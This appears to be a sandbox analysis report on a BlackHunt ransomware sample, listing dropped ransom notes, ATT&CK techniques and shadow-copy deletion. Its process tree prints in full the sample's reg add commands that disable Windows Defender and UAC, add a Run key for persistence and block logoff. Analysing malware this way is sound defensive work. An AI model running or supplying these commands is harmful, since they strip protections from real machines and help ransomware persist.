File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-si\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sk-sk\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management\management.properties	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaSansDemiBold.ttf	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\root\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\#BlackHunt_ReadMe.txt	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\example_icons2x.png	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\version.js	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\hu-hu\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\fi-fi\#BlackHunt_ReadMe.txt	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sv-se\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon_hover_2x.png	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\ro-ro\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ko-kr\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_ReadMe.txt	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\or\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\th\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\natives_blob.bin	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sv-se\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\sv-se\ui-strings.js	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\da-dk\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\packager.jar	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\sv-se\#BlackHunt_ReadMe.txt	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\en-ae\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_ReadMe.txt	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ja-jp\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fi-fi\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\css\main-selector.css	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-ae\#BlackHunt_ReadMe.txt	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\reduced_mode.png	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\ar-ae\#BlackHunt_ReadMe.txt	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\css\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cryptix.md	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files\Java\jre-1.8\bin\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\sl-si\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\zh-tw_get.svg	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
19620	19452	WerFault.exe	289

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2280	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4676	vssadmin.exe
4832	vssadmin.exe
2792	vssadmin.exe
3396	vssadmin.exe
3536	vssadmin.exe
17680	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
19296	taskkill.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
19164	PING.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
Token: SeRestorePrivilege	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
Token: SeBackupPrivilege	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
Token: SeTakeOwnershipPrivilege	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
Token: SeAuditPrivilege	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
Token: SeSecurityPrivilege	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
Token: SeIncBasePriorityPrivilege	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
Token: SeBackupPrivilege	3440	vssvc.exe
Token: SeRestorePrivilege	3440	vssvc.exe
Token: SeAuditPrivilege	3440	vssvc.exe
Token: SeBackupPrivilege	3940	wbengine.exe
Token: SeRestorePrivilege	3940	wbengine.exe
Token: SeSecurityPrivilege	3940	wbengine.exe
Token: SeSecurityPrivilege	16960	wevtutil.exe
Token: SeBackupPrivilege	16960	wevtutil.exe
Token: SeSecurityPrivilege	16948	wevtutil.exe
Token: SeBackupPrivilege	16948	wevtutil.exe
Token: SeSecurityPrivilege	17256	wevtutil.exe
Token: SeBackupPrivilege	17256	wevtutil.exe
Token: SeSecurityPrivilege	17320	wevtutil.exe
Token: SeBackupPrivilege	17320	wevtutil.exe
Token: SeSecurityPrivilege	17412	wevtutil.exe
Token: SeBackupPrivilege	17412	wevtutil.exe
Token: SeDebugPrivilege	19296	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4016 wrote to memory of 4292	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	89
PID 4016 wrote to memory of 4292	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	89
PID 4016 wrote to memory of 2212	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	170
PID 4016 wrote to memory of 2212	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	170
PID 4016 wrote to memory of 4768	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	93
PID 4016 wrote to memory of 4768	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	93
PID 4016 wrote to memory of 3688	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	173
PID 4016 wrote to memory of 3688	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	173
PID 4016 wrote to memory of 3004	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	97
PID 4016 wrote to memory of 3004	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	97
PID 4016 wrote to memory of 4328	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	178
PID 4016 wrote to memory of 4328	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	178
PID 4292 wrote to memory of 3452	4292	cmd.exe	100
PID 4292 wrote to memory of 3452	4292	cmd.exe	100
PID 4768 wrote to memory of 4956	4768	cmd.exe	101
PID 4768 wrote to memory of 4956	4768	cmd.exe	101
PID 2212 wrote to memory of 4600	2212	reg.exe	103
PID 2212 wrote to memory of 4600	2212	reg.exe	103
PID 3688 wrote to memory of 688	3688	reg.exe	104
PID 3688 wrote to memory of 688	3688	reg.exe	104
PID 4016 wrote to memory of 3668	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	105
PID 4016 wrote to memory of 3668	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	105
PID 4016 wrote to memory of 2392	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	107
PID 4016 wrote to memory of 2392	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	107
PID 4016 wrote to memory of 1668	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	110
PID 4016 wrote to memory of 1668	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	110
PID 3004 wrote to memory of 1388	3004	cmd.exe	108
PID 3004 wrote to memory of 1388	3004	cmd.exe	108
PID 4328 wrote to memory of 3756	4328	reg.exe	112
PID 4328 wrote to memory of 3756	4328	reg.exe	112
PID 4016 wrote to memory of 740	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	113
PID 4016 wrote to memory of 740	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	113
PID 4016 wrote to memory of 4580	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	114
PID 4016 wrote to memory of 4580	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	114
PID 4016 wrote to memory of 2340	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	117
PID 4016 wrote to memory of 2340	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	117
PID 3668 wrote to memory of 3116	3668	cmd.exe	118
PID 3668 wrote to memory of 3116	3668	cmd.exe	118
PID 2392 wrote to memory of 2832	2392	cmd.exe	119
PID 2392 wrote to memory of 2832	2392	cmd.exe	119
PID 1668 wrote to memory of 3360	1668	cmd.exe	121
PID 1668 wrote to memory of 3360	1668	cmd.exe	121
PID 4016 wrote to memory of 4140	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	122
PID 4016 wrote to memory of 4140	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	122
PID 4016 wrote to memory of 2896	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	123
PID 4016 wrote to memory of 2896	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	123
PID 740 wrote to memory of 3300	740	cmd.exe	126
PID 740 wrote to memory of 3300	740	cmd.exe	126
PID 4016 wrote to memory of 1692	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	129
PID 4016 wrote to memory of 1692	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	129
PID 4016 wrote to memory of 2572	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	128
PID 4016 wrote to memory of 2572	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	128
PID 4580 wrote to memory of 1420	4580	cmd.exe	131
PID 4580 wrote to memory of 1420	4580	cmd.exe	131
PID 2340 wrote to memory of 4808	2340	cmd.exe	132
PID 2340 wrote to memory of 4808	2340	cmd.exe	132
PID 2896 wrote to memory of 4528	2896	cmd.exe	193
PID 2896 wrote to memory of 4528	2896	cmd.exe	193
PID 4016 wrote to memory of 2200	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	134
PID 4016 wrote to memory of 2200	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	134
PID 4140 wrote to memory of 3440	4140	cmd.exe	194
PID 4140 wrote to memory of 3440	4140	cmd.exe	194
PID 4016 wrote to memory of 2488	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	137
PID 4016 wrote to memory of 2488	4016	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe	137

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
"C:\Users\Admin\AppData\Local\Temp\23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2212
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:3688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:4328
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2392
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:740
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4140
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:3440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3728
- C:\Windows\System32\cmd.exe
